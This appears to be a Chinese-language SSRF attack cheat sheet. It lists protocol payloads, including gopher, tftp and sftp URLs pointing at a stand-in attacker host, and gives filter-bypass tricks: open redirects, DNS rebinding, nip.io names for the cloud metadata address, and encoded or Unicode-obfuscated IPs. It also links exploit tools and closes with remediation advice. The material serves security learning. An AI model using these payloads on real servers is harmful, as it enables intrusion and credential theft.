可以使用的协议
下面是攻击时常用的协议
- http/https
- ftp
- tftp
- sftp
- file
- dict
- Gopher
- ldap
- ldaps
- ldapi
file://path/to/file
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
dict://127.0.0.1:1337/stats
ftp://127.0.0.1/
sftp://attacker-website.com:1337/
tftp://attacker-website.com:1337/TESTUDPPACKET
ldap://127.0.0.1:389/%0astats%0aquit
ldaps://127.0.0.1:389/%0astats%0aquit
ldapi://127.0.0.1:389/%0astats%0aquit
gopher://attacker-website.com/_SSRF%0ATest!
攻击
ssrf 攻击可以做到rce、端口扫描、敏感信息获取等操作。
扫描内网端口时
10.0.0.0/8
127.0.0.1/32
172.16.0.0/12
192.168.0.0/16
获取敏感信息
- file读取文件
- http操纵REST API读取敏感信息。NoSQL 数据库,云平台关键数据等。
- 探测敏感信息
除了上述的利用外,很多也提到了使用ftp相关协议进行文件的读取,但是示例较少,不太清楚怎么进行具体操作。
执行类
可以攻击特定的程序达到rce的目的,例如攻击fastcgi、redis等,可以使用工具生成对应的payload
https://github.com/tarunkant/Gopherus
漏洞利用工具
https://github.com/swisskyrepo/SSRFmap
绕过
很多公司都已经认识到了SSRF攻击的风险。大多数都在其 Web 应用程序上实施了某种形式的 SSRF 防护。主要就是采用黑名单和白名单的方式。
黑名单就是不允许定义好的地址列表。大多数 SSRF 保护采用将内部网络地址块列入黑名单的形式。
白名单意味着服务器只允许通过包含预先指定列表中的URL的请求,并使所有其他请求失败。
不用说也知道,白名单更加安全。
绕过白名单
利用开放重定向
若是白名单限制十分严格,匹配规则无漏洞,那么则无法通过直接的方式进行ssrf攻击,若结合白名单内,域名存在开放重定向漏洞,结合起来,则可以成功实施ssrf任意访问。
正则绕过
适用于正则匹配的规则存在缺陷,例如没有使用$结束符号。
那么可以使用如下的示例进行尝试绕过
victim.com.attacker.com
attacker.com/victim.com
绕过黑名单
重定向绕过
对于ssrf 漏洞,重定向真实特别有用,可以用来绕过地址限制、协议限制,对内部服务器进行扫描和攻击。
1、可以构建简单的web服务进行30X重定向,下面是php代码的简单实现。
<?php header(“location: http://127.0.0.1"); ?>
2、使用nc工具也可以实现
nc -lvp 80 < response.txt
3、使用URL短链接服务。
4、模拟webhooks服务
使用环境特性
Node.js(仅适用于windows版本)
windows 版本的Node.js,会将任何单个字符的"x://text"的协议识别为"file://text"。
java 对于可以读取本地内容的特性。
file:/// #可以列出目录
url:file:/// #仍旧可以列出目录
使用DNS欺骗
修改控制的域的 A/AAAA 记录,并使其指向要攻击的内部地址,例如,假设http://attacker.com是被我们控制的域名。那么我们可以创建自定义主机名到 IP 地址的映射,并将http://subdomain.attacker.com解析为 127.0.0.1。现在,当目标服务器请求http://attacker.com 时,就会将域名解析为127.0.0.1,从而去本地去获取数据。
使用域名而不是IP地址
开发人员可能是禁用了对内部IP地址的访问,比如正则匹配IP地址,而对域名没有限制。下面的这些域名,均与解析为IP地址 169.254.169.254,这是因为nip.io域名的特殊行。
169.254.169.254.nip.io
169-254-169-254.nip.io
a9fea9fe.nip.io(十六进制 IP 表示法)
Something.google.com.169.254.169.254.nip.io
另外,针对这一点,我觉得还可以再子域名枚举时,留意内部IP和域名,获得ssrf的时候直接进行使用。
DNS重绑定
- 获取到输入的URL,从该URL中提取host
- 对该host进行DNS解析,获取到解析的IP
- 检测该IP是否是合法的,比如是否是私有IP等
- 如果IP检测为合法的,则进入curl的阶段发包
在这个流程中,一共进行了两次DNS解析:第一次是对URL的host进行DNS解析,第二次是使用CURL发包的时候进行解析。这两次DNS解析是有时间差的,我们可以使用这个时间差进行绕过。
DNS重绑定工具:https://github.com/taviso/rbndr
非标准IP地址表示方法
在RFC3986种定义了多种非常规格式的IP地址,在绕过检查时可能会得到意想不到的就结果。
- 点分十六进制: 0x7f.0x0.0x0.0x1
- 无点十六进制:x7f001
- 带填充的无点十六进制:0x0a0b0c0d7f000001(填充内容为0a0b0c0d)
- 点分八进制: 0177.0.0.01
- 无点八进制: 017700000001
- 带填充的点分八进制:00177.000.0000.000001(填充的内容为0.00.000.0000)
- 无点十进制IP:2130706433
- 带溢出的ip (256): 383.256.256.257
另外还有一些其他的方式可以对IP地址的格式进行变换。
- 通过删除IP地址中零,来精简IP
0 => 0.0.0.0
127.1 => 127.0.0.1
127.0.1 => 127.0.0.1
可以使用localhost代替127.0.0.1
还可以使用IPv6地址
以及一些特殊格式,可以使用在线工具
https://findipv6.com/ipv4-to-ipv6
使用封闭的字母,看起来乱七八糟得到
127。0。0。1
127。0。0。1
127.0.0.1
⑫7。⓪.𝟢。𝟷
𝟘𝖃𝟕𝒇。𝟘𝔵𝟢。𝟢𝙭⓪。𝟘𝙓¹
⁰𝔁𝟳𝙛𝟢01
2𝟏𝟑𝟢𝟕𝟢6𝟺𝟛𝟑
𝟥𝟪³。𝟚⁵𝟞。²₅𝟞。²𝟧𝟟
𝟢₁𝟳₇。0。0。𝟢𝟷
𝟎𝟢𝟙⑦⁷。000。𝟶𝟬𝟢𝟘。𝟎₀𝟎𝟢0𝟣
[::𝟏②₇.𝟘.₀.𝟷]
[::𝟭2𝟟。⓪。₀。𝟣%𝟸𝟭⑤]
[::𝚏𝕱ᶠ𝕗:𝟏₂7。₀。𝟢。①]
[::𝒇ℱ𝔣𝐹:𝟣𝟤7。₀。0。₁%②¹𝟧]
𝟎𝚇𝟕𝖋。⓪。𝟣
𝟎ˣ𝟩𝘍。𝟷
𝟘𝟘①𝟕⑦.1
⓪𝟘𝟙𝟳𝟽。𝟎𝓧₀。𝟏
无点十进制的计算方法如下
除上述的外,iP地址基本上是一个 32 位数字,分为四个八位组(八位组),并以十进制格式写入。例如,127.0.0.1 实际上是 01111111.00000000.00000000.000000001 的十进制表示形式。当我们将整个数字 (01111111000000000000000000000001) 转换为一个十进制数时,我们会得到 dword 格式的 IP 地址!
dword 中的 127.0.0.1 是什么?这是 127256³+0256²+0256¹+1256⁰ 的答案,这是2130706433。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RTNOD1Qs-1670221322994)(https://note.youdao.com/yws/res/22093/WEBRESOURCEc6348127eb22e0fd78df956e6c0ad624)]
基于256溢出的IP地址,就是每个数值加上256
漏洞修复
如不需要,直接禁用该功能
如果不需要,还建议限制使用网络调用,因为它也可能导致敏感信息暴露或者至少限制对内部网络或关键资源执行网络调用的能力。
将 DNS 中的域列入白名单
修正 SSRF 的最简单方法是将应用程序访问的任何域或地址列入白名单。
不发送原始响应
不要将原始响应直接从服务器返回客户端,应该对于敏感数据等内容进行脱敏,客户端可以收到的内容应该是被限制的。
强制实施网址架构
禁用其他协议的使用,仅允许程序使用http协议。
如果您确实使用,请确保相关功能的安全。
在所有服务上启用身份验证
确保网络上运行的任何服务上启用身份验证,即使服务并不需要身份验证。
像memcached,redis,mongo等服务不需要身份验证也可以进行正常操作,但是不添加身份验证同时也意味着容易被攻击。
清理和验证输入
永远不要相信用户输入。
始终清理用户发送到应用程序的任何输入。删除坏字符,标准化输入(例如,用双引号代替单引号)。
清理后,请确保验证经过净化的输入,以确保没有不良传入。